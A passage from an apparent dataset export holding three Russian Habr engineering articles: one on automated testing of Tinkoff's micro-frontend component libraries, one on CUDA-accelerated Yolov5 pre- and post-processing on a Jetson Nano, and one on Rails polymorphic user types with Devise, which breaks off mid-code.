text stringlengths 20 1.01M | url stringlengths 14 1.25k | dump stringlengths 9 15 ⌀ | lang stringclasses 4
values | source stringclasses 4
values |
|---|---|---|---|---|
# Автоматизация микрофронтендов, или как в Тинькофф тестируют библиотеки компонентов
Кажется, уже сложно представить себе веб-приложение, которое не использует микрофронтендную архитектуру для возможности реализовать гибкое и функциональное приложение. И как в любом архитектурном подходе, в микрофронтенде необходимо обеспечивать качественное тестирование разрабатываемых компонентов.
Но с чего стоит начать и что ждет каждого, кто вступит на путь автоматизации микрофронтенда, когда многие привыкли тестировать уже собранные из кусочков приложения?
Привет. Меня зовут Александр Воробей, я ведущий специалист по автоматизации тестирования в Тинькофф. В этой статье я постараюсь вкратце рассказать, с чего мы начинали автоматизацию микрофронтенда, с какими проблемами встретились и какие результаты получили.
Статья основана [на моем докладе с конференции Heisenbug](https://www.youtube.com/watch?v=ToPByQbTfzU). Она состоит из двух разделов:
1. Рассказ о предмете тестирования и выборе инструментов.
2. Автоматизация: способы, проблемы и их решения.
Те, кто хочет как можно скорее узнать о способах тестирования микрофронтенда, могут смело переходить к разделу «Автоматизация тестирования микрофронтенда».
Предмет тестирования
====================
Позвольте начать с рассказа о самом предмете тестирования — микрофронтенде в Тинькофф. По [этой ссылке](https://hackernoon.com/understanding-micro-frontends-b1c11585a297) можно почитать что такое микрофронтенд в общих чертах.
До перехода на микрофронтенд все используемые компоненты — формы, блоки с текстами, иконками и изображениями — находились в одном репозитории и над всеми компонентами работали разные команды. Сейчас почти все компоненты (или даже все) разрабатываются разными командами, подключаются каждый по отдельности через пакеты или другие технологии. Далее речь пойдет об одном из таких компонентов — о сложных формах и их составляющих.
Сложными я их называю по той причине, что, кроме выполнения стандартной функции отправки введенных данных на сервер, форма:
* Сохраняет состояние введенных данных. Попробуйте ввести данные первого шага формы для получения кредитной карты и потом нажать F5 — форма предложит вам заполнить данные с того же момента. Но работает это, только если введен номер телефона.
* Состоит не из одного шага, а из нескольких, связанных между собой.
* Отправляет множество запросов на разные действия. Вводите ФИО — отправляются запросы, переходите между шагами — отправляются запросы, восстановили форму — отправляются запросы.
* Отправляет разные системные метрики.
И таких форм в Тинькофф более 20 штук для разных продуктов с разным поведением (это только для неавторизованной зоны, на самом деле их гораздо больше). Все они имеют одни и те же строительные блоки: инпуты, кнопки, наборы полей, плагины и разные экраны. Поэтому, кроме форм, существует микрофронтенд под названием Form Builder, основной ролью которого является поставка более мелких компонентов для форм. Поэтому дальше речь пойдет о формах и Form Builder
Основные цели автоматизации тестирования микрофронтенда
=======================================================
Раньше тестировщики проводили регресс только собранного приложения. Например, изменилась кнопка или набор полей — ее могли проверить только в собранном приложении. В микрофронтенде нет собранного приложения — есть только компоненты, из которых он состоит. В связи с этим небольшие микрофронтенды могут релизится чаще, так как они меньше по объему и имеют меньшее количество зависимостей, а соответственно регресс для конкретного микрофронтенда может проводиться чаще, возможно даже несколько раз в день. Поэтому первой и основной целью является автоматизация регресса тестирования.
Немаловажно и то, что сегодня хорошей практикой считается хранение автоматизированных тестов рядом с кодом приложения. Мы также последовали этой практике, но поняли, что поддерживать такие тесты в любом случае придется разработчикам, которые раньше не имели особого опыта в автоматизации тестирования UI.
Поэтому второй целью стало построение простой и удобной инфраструктуры тестирования. А третьей — привлечение разработчиков к написанию автотестов.
В результате имеем три цели:
1. Полный регресс.
2. Простая инфраструктура.
3. Привлечение разработчиков.
Выбор инструмента для стенда
============================
Большинство QA-инженеров привыкли к тестированию собранного приложения. В микрофронтенде, как я уже говорил, есть только компоненты, которые нужно как-то отображать и уметь проверить функционал.
При анализе инструментов, позволяющих отображать каждый из компонентов в разных состояниях, мы выбрали Storybook.
Внешний вид стенда с использованием Storybook:
На стенде имеется:
* Список Stories — этот термин используется по отношению к отображаемым компонентам. То есть каждый компонент в сторибуке — это Story.
* Сам компонент, который отображается в том состоянии, которое ему задали.
* Панель с Knobs — на ней отображается список всех возможны props, которые можно изменить и в live-режиме посмотреть, как компонент себя поведет.
* Код сториса — над самим компонентом располагается кнопка, позволяющая открыть код сториса, который можно использовать у себя в приложении.
В результате этот инструмент позволил сделать:
* Демостенд, в котором каждый член команды (дизайнер, аналитик, продакт-менеджер, разработчик, тестировщик) может пощупать компонент, меняя ему доступные состояния.
* Стенд для ручного тестирования, где тестировщик, меняя состояние компонента, тестирует его поведение.
* Стенд для автотестов. Автотесты открывают компоненты через сторибук в разных браузерах.
Выбор инструмента для автоматизации тестирования
================================================
Вот главные требования к инструменту:
* Возможность писать тесты в одном стиле, используя разные движки — Puppeteer, WebdriverIO (далее wdio). Wdio был необходим для запуска тестов в Firefox, Safari и IE 11.
* Возможность из коробки сгенерировать подробный отчет о тестировании в Allure Report.
* Простота понимания для функциональных тестировщиков.
Выбор пал на инструмент CodeceptJS. Так как данный инструмент позволяет, написав один раз тест, запускать его на любом движке — будь то Puppeteer, WebDriverIO, Appium или даже новый Playwright, — подключив который не придется переписывать тесты.
Пример синтаксиса:
```
Scenario('Должен перевалидировать документ тачки, когда меняется др', async (I) => {
await I.amOnStory(stories('url'))
await I.fillField('Дата рождения', '01.01.1990')
await I.fillField('Серия и номер ВУ', '1111111111')
await I.fillField('Дата выдачи текущего ВУ', '01.01.2008')
await I.fillField('Год выдачи первого ВУ', '2008')
await I.clearFieldBySymbols('Дата рождения', 1)
await I.appendFieldManual('Дата рождения', '9')
await I.seeFieldErrorMessage('Дата выдачи текущего ВУ')
await I.seeFieldErrorMessage('Год выдачи первого ВУ')
})
```
Для тестировщиков такой синтаксис прост в понимании, и они могут самостоятельно писать тесты. При этом по результатам теста генерируется понятный Allure-отчет, который содержит и каждый шаг, и время выполнения шага, и разные аттачментсы.
Почему не использовали другие инструменты?
* Cypress. На тот момент, когда мы выбирали инструмент, Cypress не имел кроссбраузерности, а также до сих пор не умеет в разные вкладки (а нам в некоторых случаях нужны были кейсы по работе с вкладками).
* Wdio. Во-первых, у нас много работы с запросами, а Wdio не умел явно перехватывать запросы и переопределять ответы. А во-вторых, основные пользователи тестов — это разработчики и не хотелось для них придумывать инфраструктуру, которая требует дополнительных утилит в виде селениума. Но для тестирования в браузерах кроме «Хрома» он был нужен.
* Puppeteer. Нам он всячески подходил, но не умел в другие браузеры. Именно поэтому нам стало важно писать тесты, используя и Wdio, и Puppeteer.
Собственно в решении наших потребностей помог [CodeceptJS](https://codecept.io/).
Процесс взаимодействия с разработчиками
=======================================
В первую очередь важно отметить, что для CI/CD мы используем Gitlab, соответственно стенд и тесты запускаются на каждый мерж-реквест, создаваемый в Gitlab, тем самым проверяя качество кода.
Так как одной из целей было привлечение разработчиков к покрытию автотестами кода, а разработчики уже согласились писать тесты на выбранных инструментах, мы решили, что для более качественного контроля за написанием тестов необходимо внедрить тестировщика в процесс ревью мердж-реквеста.
Но на самом деле нам хватило несколько таких ревью, и мы поняли, что это только замедляет разработку.
Почему? Потому что в этот момент разработчик сам придумал тесты на свой код, реализовал их. И, когда проходило ревью тестировщиком, он находил кучу проблем с тестами, которые нужно дорабатывать. Согласитесь, не каждый разработчик будет рад ждать заново пайплайна только для того, чтобы поправить пару тестов. Кроме того, поздно написанные тесты увеличивали время жизни МРа.
Поэтому решением возникшей проблемы стало то, что в процессе мы вернули тестировщика на ранний этап после создания задачи, где основной целью тестировщика является написание тест-кейсов. В результате, когда разработчик реализует новый функционал или исправляет дефект, у него уже есть тест-кейс, по которому нужно написать автотест, и больше не тратится время на переписывание тестов.
Дальше — интереснее. Дальше — автоматизация!
Автоматизация тестирования микрофронтенда
=========================================
В этом разделе я рассмотрю несколько пунктов:
* Тестирование верстки компонентов с использованием сторибука. И тут же — ускорение тестирования.
* Тестирование форм в пайплайне Form Builder`а (в библиотеке, которая поставляет формам мелкие компоненты в виде инпутов и кнопок).
* Тестирование внутри браузера. Ускорение тестирования в несколько раз.
* Тестирование только изменившегося кода.
Поехали.
Тестирование верстки компонентов с использованием сторибука
===========================================================
Сторибук нас устроил не только тем, что он является отличным демостендом, но и тем, что с его помощью можно качественно и удобно построить автоматизацию тестирования.
Начну с одного из важных, на мой взгляд, способов тестирования компонентов — с тестирования верстки компонентов.
В основном все компоненты имеют какие-то состояния, которые достаточно проверить визуально: например, размер кнопок или их цвет, или состояние чек-бокса, или состояние заполненного инпута. Но для того, чтобы тестировать верстку, необходимо иметь актуальный стенд (тестируемый), на котором будет сниматься скриншот, и эталонный скриншот, с которым мы можем сравнить.
Обычно эталонные скриншоты держат внутри репозитория, используя [LFS](https://github.com/git-lfs/git-lfs/tree/master/docs?utm_source=gitlfs_site&utm_medium=docs_link&utm_campaign=gitlfs). Но мы решили, что не хотим так, потому что хранение эталона в репозитории влечет за собой необходимость поддержки этих эталонов в актуальном состоянии, а при локальном обновлении скриншотов и тестировании обязательно запускать в докер-контейнере (чтобы не было эффектов от использования разных ОС) и, естественно, поддержка всего этого. А еще мы не хотели писать тесты на каждый новый компонент при тестировании верстки, нам нужно было автоматическое решение.
Так как мы используем Storybook, то все необходимые компоненты хранятся в нём. При этом в нашем случае есть два вида Storybook:
* Master Storybook — такой Storybook собирается на мастер ветке, после того как в неё влили мерж реквест. И соответственно в нём находятся самые актуальные компоненты.
* Merge Request Storybook — а этот Storybook собирается исключительно на мерж реквесте.
Учитывая что в Master Storybook находятся самые актуальные компоненты, их же можно использовать как эталонные скриншоты. И получается что мы избавляемся от необходимости хранить эталоны внутри git репозитория.
Чтобы автоматически тестировать верстку без участия разработчиков, нам пришлось покопаться в возможностях сторибука, где мы обнаружили, что можно получить список всех существующих компонентов в сторибуке, используя его API — `window.__STORYBOOK_CLIENT_API.getStorybook()`. Но важной особенностью данного API стало то, что он доступен только в собранном сторибуке. То есть только если мы переходим явно на урл сторибука, открываем консоль и вводим там. В nodejs этот API не доступен.
Но решением оказался следующий код:
```
const html = fs.readFileSync(`${normalizedPath}/iframe.html`, { encoding: 'utf8' });
const htmlDom = new JSDOM(html);
const scripts = htmlDom.window.document.querySelectorAll('script');
scripts.forEach((script) => {
if (script.src && script.src.endsWith('bundle.js')) {
require(path.resolve(normalizedPath, script.src));
}
});
window.__STORYBOOK_CLIENT_API__.getStorybook().forEach((story) => {...})
```
Так как собранный сторибук — это набор js-файлов, представленный код с помощью конструкции require внедряет собранный js-код внутрь самой node, в результате чего из node теперь есть доступ к API сторибука.
Имея данную возможность, мы можем сформировать список компонентов и урлов к ним.
С учетом этих данных был написан скрипт, который генерирует автотесты на CodeceptJS, следующего вида:
Входными данными для такого теста является список компонентов. Алгоритм теста следующий:
* Открывает по сформированному урлу компонент на тестируемом сторибуке.
* Делает скриншот.
* Открывает по сформированному урлу компонент на мастер сторибуке (эталоне).
* Делает скриншот.
* Сравнивает полученные скриншоты.
Всё. Больше ничего не нужно делать.
Но не все было так гладко — этот подход оказался достаточно медленным.
Вот пример:
42 компонента тестировались 3 минуты. Согласитесь, это слишком долго!
Причина была в том, что для переходов между компонентами иногда тратилось от 2 до 14 секунд. Причиной могли быть перегруженные раннеры, долгий рендер компонентов.
Решением стало опять же API сторибука, которое появилось в более поздних версиях — `window.__STORYBOOK_CLIENT_API__._storyStore.setSelection()`. Этот метод позволяет переключать сторисы, используя их id, без необходимости перезагружать страницу — прямо в момент работы сторибука.
Изменив способ перехода между компонентами, скорость выполнения тестов стала значительно привлекательнее — за то же самое время, 3 минуты, мы стали тестировать 554 компонента:
Результаты:
* Тесты генерируются автоматически. Если добавлен новый компонент — для него не нужно писать новые тесты.
* Нет необходимости хранить эталонный скриншот внутри репозитория и поддерживать его в актуальном состоянии.
* Достаточно высокая скорость тестирования!
Тестирование форм в пайплайне Form Builder`а
============================================
Ранее я упоминал, что у нас используется 20+ форм. И при каком-либо изменении функционала в Form Builder мы достаточно поздно узнавали об ошибках, так как новая версия Form Builder могла быть использована через несколько дней. Для ускорения обратной связи мы придумали запускать тесты ключевых форм внутри пайплайна Form Builder.
Для реализации данной идеи нам потребовалось немного усилий:
* git-репозиторий формы;
* пакетный менеджер yarn.
Мы сделали джобу, внутри которой выгружали репозиторий формы через git clone. Дальше перемещались в директорию формы и с помощью команды yarn link form-builder прилинковывали текущую версию From Builder, которая хранится локально. А потом запускали тесты на Happy-path этой формы.
В результате наши разработчики могли узнавать о проблемах внутри форм еще до релиза библиотеки Form Builder, не беспокоясь, что в формах сломается основной функционал.
Тестирование внутри браузера
============================
Со временем жизни проектов From Builder и форм количество функциональных тестов начало значительно расти и время jobs с тестами уже переваливало за 30 минут, а время всего пайплайна могло перевалить и за 50 минут. Естественно, для нас это стало проблемой, и мы искали решение уменьшить скорость.
Для решения мы поняли, что нам нужно нарушить одну цель, к которой мы шли, — запуск одного теста с использованием любого драйвера (Puppeteer или Wdio). Мы попробовали запускать тесты внутри браузера, используя инструмент karma.
Что значит запуск внутри браузера?
При использовании Puppeteer или Wdio взаимодействие с браузером происходит через протоколы [CDP (Chrome DevTools Protocol)](https://chromedevtools.github.io/devtools-protocol/) и [WebDriver Protocol](https://w3c.github.io/webdriver/) соответственно. На примере Puppeteer можно взять метод type, входящий в состав его API. В официальной документации к этому методу написано: "Sends a keydown, keypress/input, and keyup event for each character in the text". То есть Puppeteer посылает как минимум три запроса через протокол DevTools браузеру на каждый вводимый символов. Это достаточно хорошо имитирует поведение пользователя, но скорость тестов из-за этого все равно увеличивается.
Подход при тестировании в браузере (с использованием karma) заключается в следующем:
* Все написанные тесты перед запуском собираются в некий index.html с тестами внутри (например, с помощью webpack [пример по ссылке](https://github.com/Vorobeyko/karma-webpack-tests-example/tree/master)).
* Запускается сервер, который начинает раздавать этот файл на localhost.
* При переходе на localhost, где раздаются тесты, сразу же запускаются тесты прямо внутри страницы.
* При этом тесты возможно писать с использованием Web API.
В результате в проекте Form Builder была переписана часть тестов на использование karma, что позволило ускорить тестирование компонентов с 70 тестов за 3 минуты до 366 тестов за 50 секунд.
До:
После:
Недостатки данного подхода:
* Все действия выполняются через DOM (Web API), то есть нет той важной имитации действий, которые имеются в Puppeteer или Wdio.
* Не умеет работать с браузером (вкладками). Но на самом деле у нас большая часть тестов все же не нуждалась в работе с браузером, поэтому данный подход отлично отрабатывал.
* Не умеет делать скриншот. А зачем? У нас есть для этого другие инструменты.
* Не умеет работать с ОС — не будет возможности взять файл из ОС и приаттачить к полю.
* Не имитирует события клавиш. Придется делать dispatch-события для каждого элемента.
Но если ничего из этого списка вам и не нужно, можно смело пользоваться инструментом и получать удовольствие от скорости тестирования.
Тестирование только изменившегося кода
======================================
И последняя тема, о которой хочется рассказать, — это анализ изменившихся файлов и запуск соответствующих тестов.
Спустя какое-то время мы поняли, что нет смысла нагружать наши машины лишним тестированием, если изменилась только одна кнопочка. Представляете, раньше мы запускали 1000 тестов, в состав которых входят чек-боксы, инпуты, радио при исправлении какого-нибудь незначительного дефекта в кнопке. В этом нет смысла.
Поэтому мы написали инструмент, похожий на [lerna](https://github.com/lerna/lerna), который умеет анализировать, какие файлы были изменены, соответственно, какой компонент изменится и какие зависящие от этого компоненты могут быть затронуты. На основе этой информации решаем, какой набор тестов запускать.
Например:
* Разработчик внес изменения в файл пакета инпута.
* От этого инпута наследуется компонент инпут-календарь, который оборачивает базовый инпут и добавляет свой функционал.
* Для инпута и календарь-инпута есть свои набор тестов.
* Так вот, в результате будут запущены только тесты на инпут и календарь-инпут, а тесты на кнопку и чек-бокс будут просто пропущены, так как изменения на них 100% не повлияли.
При этом данный подход используется как для тестирования верстки в сторибуке — собирается сторибук только с измененными компонентами, так и для функциональных тестов и даже unit-тестов.
Результат:
* Меньше тестов запускаем — быстрее проходит пайплайн.
* Хотели полный регресс — получили тестирование только изменившихся компонентов.
Заключение
==========
При использовании описанных мною подходов к автоматизации тестирования микрофронтенда в Тинькофф получили следующие результаты:
* Разработчики участвуют в покрытии автотестами разрабатываемого микрофронтенда.
* Автотесты пишутся для каждого компонента отдельно.
* Тесты запускаются по-умному — только на изменившиеся компоненты.
* Быстро и качественно тестируется верстка микрофронтенда.
* Функциональные тесты писать просто, они проходят быстро и не страшно поменять движок с Puppeteer на Playwright.
* Узнаём о сбоях в производных микрофронтендах еще на этапе разработки core микрофронтенда. | https://habr.com/ru/post/503052/ | null | ru | null |
# Оптимизация препроцессинга и постпроцессинга нейросети Yolov5 с помощью CUDA, Thrust и Nvidia Perfomance primitives
КДПВНебольшая предыстория. У нас в компании мы решили сделать коробочный проект по распознаванию номеров (для открытия шлагбаумов, учёта проезжающих машин и т.д. и т.п.). В качестве основы взяли одноплатный Jetson Nano.
В качестве эксперимента перенесли распознавание номеров, написанное на Python и работающее в облаке, на Jetson Nano. Результаты были неудовлетворительные - почти полная загрузка CPU по причине того, что использующийся для препроцессинга OpenCV работал на CPU и постпроцессинг модели Yolo также был на CPU.
К отрицательным моментам можно также отнести:
* Декодинг на CPU вместо аппаратного декодера, имеющегося у Jetson Nano
* Постоянно перекопирующуюся информацию из памяти GPU в память CPU (Хотя Jetson Nano делит обычную оперативную память между GPU и CPU).
* Ожидание GPU - 128 CUDA ядер просто сидели без дела пока 4 ARM ядра CPU были нагружены под завязку.
Решено было всё это переписывать на C++ и по возможности писать максимально оптимизированный код, близко приближенный к аппаратной платформе Jetson Nano, да и вообще завязанный на программных решениях от Nvidia.
На нашу удачу Nvidia в помощь разработчикам сделала [библиотеку](https://github.com/dusty-nv/jetson-utils) со всякими вспомогательными вещами для Jetson Nano. Благодаря ей можно инициализировать класс декодера видео просто указав URL RTSP потока, а получить в ответ очередь с кадрами прямо в CUDA видео-памяти, раскодированные аппаратным декодером.
```
// метод для создания декодера
gstDecoder* gstDecoder::Create( const videoOptions& options )
// в output записывает адрес кадра в видеопамяти
bool gstDecoder::Capture( void** output,
imageFormat format,
uint64_t timeout )
```
Препроцессинг
-------------
Кадр мы получили, но что делать дальше? (Yolov5s принимает нормализованное транспонированное из HWC в CHW изображение размером 640 на 640.) Необходим препроцессинг изображения:
1. Изменение размеров , добавление рамки ( для сохранения пропорций при размере 640 на 640, к тому же саму Yolo обучали с рамкой)
2. Перевод каждого пикселя из char во float32
3. Нормализация ( что бы значения каждого пикселя были от 0 до 1.0 включительно)
4. Транспонирование HWC => CHW
Для решения этой задачи мы решили использовать библиотеку [Nvidia Perfomance Primitives](https://developer.nvidia.com/npp) или просто NPP. Кратко опишу как она работает. Например, нам необходимо изменить размер трехканального изображения (RGB), каждый пиксель которого хранится во float32, тогда берем функцию `nppiResize_32f_C3R()` . Название функции можно расшифровать так:
* **32f** в названии говорит что каждый пиксель изображения хранится во **float32**
* **C3** — что в изображении есть 3 канала
* **R** указывает, что функция работает с указанием ROI
Аргументы у функции следующие :
* **const Npp8u \*pSrc** — указатель на начало исходного изображения
* **int nSrcStep** — шаг изображения по ширине в байтах
* **NppiSize oSrcSize** — ширина и высота исходного изображения
* **NppiRect oSrcRectROI** — прямоугольник ROI исходного изображения в формате `{смещение по ширине, смещение по высоте, ширина, высота }`
* **Npp8u \*pDst** — указатель на начало нового изображения с измененными размерами
* **int nDstStep** — шаг нового изображения по ширине в байтах
* **NppiSize oDstSize** — ширина и высота нового изображения
* **NppiRect oDstRectROI** — прямоугольник ROI нового изображения
* **int eInterpolation** — интерполяция
С NPP достаточно непросто — если ошибся с аргументами то получил либо кашу вместо новой картинки, либо ненулевой статус ответа при выходе. С первым придётся сидеть и думать где же допустил ошибку. Второе проще — enum с ошибками на все случаи жизни точно подскажет что не так.
Для добавления рассчитанной рамки мы использовали `nppiCopyConstBorder_32f_C3R`, для нормализации изображения — `nppiDivC_32f_C3IR`, с транспонированием пару дней пришлось подумать как его лучше сделать , идеально подошла `nppiCopy_32f_C3P3R:`
```
// Делим на три слоя и последовательно копируем сразу в буфер Yolov5
// по смещению размером с один слой,
// тем самым транспонируя в нужный вид (CHW).
NppStatus st;
float * const inputArr[3] {this->yoloInput,
this->yoloInput + YOLO_PLANAR_OFFSET,
this->yoloInput + (YOLO_PLANAR_OFFSET * 2)};
int planarStep = YOLO_SIZE * 1 * sizeof(IMAGE_TYPE);
st = nppiCopy_32f_C3P3R( (Npp32f*)this->yoloBuffer,
this->yoloConstStep,
inputArr,
planarStep,
yoloSize );
return st;
```
Я не описал перевод изображения во float32, явно мы его не делали, переводом в float32 занимается [библиотека](https://github.com/dusty-nv/jetson-utils) сразу при захвате кадра :
```
// format указывает, в каком формате мы хотим получить изображение.
bool gstDecoder::Capture( void** output,
imageFormat format,
uint64_t timeout )
```
По поводу производительности такого препроцессинга на NPP — весь конвейер от захвата до записи в буффер TensorRT занимает на Jetson Nano 40 миллисекунд — это 25 кадров в секунду, которые приходят с камеры, замеры отдельно каждой стадии показывали примерно 10 - 15 миллисекунд.
Дальше происходит инференс Yolov5s на TensorRT , Yolov5 натренирована на меньшее количество классов чем стандартная, инференс занимает примерно 140-160 миллисекунд.
Постпроцессинг
--------------
На выходе Yolov5 мы получаем:
* 25200 координат прямоугольников предположительно распознанных объектов
* 25200 значений уверенности для этих прямоугольников
* (25200 \* Количество классов) значений уверенности классов
В коде результаты представлены вот так:
```
// x,y - координаты центра прямоугольника
// w,h - ширина, высота
// s - уверенность
// cs - уверенность в каждом классе
// NUM_CLS_SCORES - количество классов Yolov5
struct YoloOut
{
float x;
float y;
float w;
float h;
float s;
float cs[NUM_CLS_SCORES];
};
// Результат работы - 25200 YoloOut
```
Прямоугольников настолько много, что для Yolov5 необходим постпроцессинг: выкинуть прямоугольники которые не проходят порог уверенности, из оставшихся оставить только те, которые имеют самую высокую уверенность, отсеять те которые находятся к ним слишком близко но имеют низкую уверенность.
картинка взята из https://www.researchgate.net/figure/Non-maximal-suppression-left-all-detections-right-fused-detections\_fig2\_228881235 Для отсеивания есть специальный алгоритм «Подавления без максимума» (англ. **Non-Maximum suppression** или просто NMS). В open source есть готовые имплементации этого алгоритма, например в OpenCV - `cv::dnn::NMSBoxes(),` но они работают на CPU и поэтому нам не подходили, ведь сначала бы понадобилось переместить результаты на CPU часть оперативки (TensorRT никак не хотел использовать память аллоцированную сразу и для CPU и для GPU), а потом ещё всё и отфильтровать с помощью CPU. Поэтому было решено сделать свой NMS на CUDA, что бы работало быстро и не занимало CPU.
Пришлось на ходу вникать как работает CUDA — сетка, блоки, нити, параллелизм , ограничения, квалификаторы и т.д. Для 25200 прямоугольников было придумано сделать ещё 25200 bool значений, в которых отражать отсеян элемент или нет.
Код коммерческий и для его официального опубликования нужна бюрократия и разрешение других людей, поэтому публикую только хедеры.
```
// Разделим-скопируем отдельно прямоугольники, уверенность и класс объекта
//по разным местам (наверное самое не оптимизированное место
// с точки зрения памяти)
__global__
void splitBoxes( const YoloOut * yoloOut,
Box * box,
objConf_t * objectConfidence,
ClsConf * class)
// Самая простая параллельность — 25200 блоков в сетке,
// по одной нити в блоке, в качестве аргументов
// указатели на начало памяти
splitBoxes <<<25200,1,1>>> ( this->yoloOut,
this->devBoxes,
this->objC,
this->clsConf);
// фильтрация по уверенности — если ниже порога, то ставим false
__global__
void filterObjConf( const objConf_t * objectConfidence,
boxStatus_t * boxStatus);
// точно также параллелим
filterObjConf <<<25200,1,1>>> ( this->objC,
this->boxStatus);
```
В чем удобство CUDA на мой взгляд — достаточно указать как тебе нужно распараллелить выполнение, а остальное CUDA берет на себя: распределяет вычисление 25200 элементов между 128 CUDA ядрами Jetson Nano.
Перед NMS помимо фильтрации по порогу уверенности необходимо умножить общую уверенность на максимальную уверенность класса и сохранить id класса с максимальной уверенностью:
```
// ci - сохраняем отдельно id класса, c максимумом уверенности
__global__
void mulObjAndCls( objConf_t * oc,
const ClsConf * cs,
clsIdx_t * ci,
const boxStatus_t * bs) // уже откинутые элементы не берем
mulObjAndCls <<<25200,1,1>>> ( this->objC,
this->clsConf,
this->clsId,
this->boxStatus);
```
После фильтрации по порогу уверенности остается не больше 1000 элементов (обычно около 100), которые нужно компактно вытащить из массива 25200 элементов `YoloOut` по 25200 bool ключам. Свой эффективный алгоритм параллельного сжатия массива на CUDA мы бы не потянули, поэтому для написания NMS нам очень помогла библиотека Thrust, с помощью неё сжали результаты при помощи `thrust::copy_if()`, работает действительно быстро — замеры показали 1-3 миллисекунды.
```
thrust::copy_if(objCTh,
objCTh + YOLO_OUT_SIZE,
boxStatusTh,
this->objCThResult.begin(),
is_true());
```
После сжатия идет сам алгоритм NMS, все оставшиеся прямоугольники попарно сравниваются, если превышен порог отношения пересечений и объединений (Intersection over Union, IoU), ставится флаг о непригодности, затем снова с помощью `thrust::copy_if()` происходит окончательное сжатие и запись результатов.
```
#define BLOCKSIZE 32
normIteratorDevPtr boxesR = thrust::copy\_if(devBoxesTh,
devBoxesTh + YOLO\_OUT\_SIZE,
boxStatusTh,
this->boxesThResult.begin(),
is\_true());
// resultSize это количество отфильтрованных прямоугольников до NMS
int resultSize = boxesR - boxesThResult.begin();
dim3 gridSize(int(ceil(float(resultSize)/BLOCKSIZE)),
int(ceil(float(resultSize)/BLOCKSIZE)),1);
dim3 blockSize(BLOCKSIZE, BLOCKSIZE, 1);
\_nms <<< gridSize, blockSize >>>(boxesRawPtr, boxStRawPtr);
normIteratorDevPtr resultNms =
thrust::copy\_if(this->boxesThResult.begin(),
this->boxesThResult.end(),
this->boxStatusNmsResult.begin(),
this->boxesAfterNmsResult.begin(),
is\_true());
resultSize = resultNms - this->boxesAfterNmsResult.begin();
```
Заключение
----------
При такой оптимизации нагрузка на CPU снизилась до 10-15 %, а GPU используется на 99%.
Спасибо за внимание. | https://habr.com/ru/post/668906/ | null | ru | null |
# Полиморфные ассоциации и Devise в Ruby on Rails
Всем привет.
Когда-то давно я писал статью про полиморфные ассоциации в Ruby on Rails и, помнится, некоторые негодовали: зачем, мол, писать про Rails 2, если на подходе новая версия.
Недавно мне пришлось столкнуться с полиморфными ассоциациями в Rails 3, а точнее придумать, как организовать на сайте два типа пользователей: заказчик и исполнитель. В этой статье речь пойдет о полиморфных ассоциациях и гемах Devise (для аутентификации) и CanCan (для авторизации).
Задача стояла следующая: есть два типа пользователей, регистрация и логин должны производиться из одной формы, при регистрации пользователь указывает, кем он хочет быть: заказчиком или исполнителем.
Соответственно, пользователи имели разные роли в проекте, могли делать разные вещи.
Таким образом, согласно стандартной документации Devise, я добавил его в проект. В миграцию, которую создал Devise, я добавил следующие поля:
> `1. t.string :name, :null => false
> 2. t.references :character, :polymorphic => true
> \* This source code was highlighted with Source Code Highlighter.`
Кроме имени, сюда можно вынести любые другие общие свойства всех типов пользователей: страна, адрес и тд. У меня этим полем было только имя.
Вторая строка, согласно документации (http://apidock.com/rails/ActiveRecord/ConnectionAdapters/Table/references), создаст для нас два поля: character\_id и character\_type: в первом будут храниться id «персонажа», а во втором — название класса, где искать этот id.
После этого выполним rake db:migrate, а затем дополним модель user.rb.
> `1. class User < ActiveRecord::Base
> 2. # Include default devise modules. Others available are:
> 3. # :token\_authenticatable, :encryptable, :confirmable, :lockable, :timeoutable, :trackable and :omniauthable
> 4. devise :database\_authenticatable, :registerable, :recoverable, :rememberable, :validatable
> 5.
> 6. # Setup accessible (or protected) attributes for your model
> 7. attr\_accessible :name, :email, :password, :remember\_me, :character\_id, :character\_type, :character, :character\_attributes
> 8.
> 9. # Validations
> 10. validates\_presence\_of :name, :character\_type
> 11. validates\_inclusion\_of :character\_type, :in => %w(Customer Executive)
> 12.
> 13. # Associations
> 14. belongs\_to :character, :polymorphic => true, :dependent => :destroy
> 15.
> 16. # Nested attributes
> 17. accepts\_nested\_attributes\_for :character
> 18.
> 19. # Authorization helper methods
> 20. def customer?
> 21. character\_type == "Customer"
> 22. end
> 23.
> 24. def executive?
> 25. character\_type == "Executive"
> 26. end
> 27. end
> \* This source code was highlighted with Source Code Highlighter.`
Здесь мы добавили новые поля в attr\_accessible, добавили валидации, прописали ассоциации и добавили accepts\_nested\_attributes\_for.
Изменения в attr\_accessible нужны, чтобы можно было сохранять данные «пачками», а не по одной.
Валидации нужны, чтобы быть уверенными, что нужные нам записи добавлены (и их формат нас тоже устраивает).
Полиморфная ассоциация какбе намекает нам, что теперь у пользователя есть поле character, которое ссылается либо на заказчика, либо на исполнителя. По сути, это дополнение нашей модели User, которое может быть либо одного типа, либо другого.
assepts\_nested\_attributes\_for нужны для того, чтобы можно было делать вложенные формы (форма для юзера, в которую вложена подформа для character’a (то есть либо для заказчика, либо для исполнителя).
Два метода в конце — просто для удобства, чтобы можно было легко и быстро определять в контроллерах и представлениям, какого типа у нас пользователь.
После этого создадим 2 модели: Customer и Executive. В миграциях можно прописать любые уникальные для каждого типа пользователя данные (пароли, явки и тд), в обоих моделях для связи с пользователем нужно прописать это:
> `1. has\_one :user, :as => :character, :dependent => :destroy
> \* This source code was highlighted with Source Code Highlighter.`
Еще я добавил user\_observer (rails g observer user), где написал такой код:
> `1. class UserObserver < ActiveRecord::Observer
> 2. def before\_create(user)
> 3. build\_character\_for user
> 4. end
> 5.
> 6. private
> 7. def build\_character\_for(user)
> 8. user.character = user.character\_type.classify.constantize.create!
> 9. end
> 10. end
> \* This source code was highlighted with Source Code Highlighter.`
После этого в config/application.rb подключил этот обзервер:
> `1. config.active\_record.observers = :user\_observer
> \* This source code was highlighted with Source Code Highlighter.`
Помните, я говорил, что при регистрации пользователь должен выбрать, кем он хочет быть? У меня это radio, но вы легко можете сделать и select. В зависимости от выбранного типа, они должны возвращать либо “Customer”, либо “Executive”. И, соответственно, перед созданием каждого пользователя, мы создаем для него либо заказчика, либо исполнителя. Код выше можно записать в виде:
> `1. if user.character\_type == “Customer”
> 2. user.character = Customer.create!
> 3. else
> 4. user.character = Executive.create!
> 5. end
> \* This source code was highlighted with Source Code Highlighter.`
но это как-то долго и неудобно, согласитесь.
С Devise’ом покончено, теперь можно переходить к CanCan. Его тоже нужно установить согласно документации, а потом прописать разные правила для обоих типов пользователей. Например, как-то так:
> `1. class Ability
> 2. include CanCan::Ability
> 3.
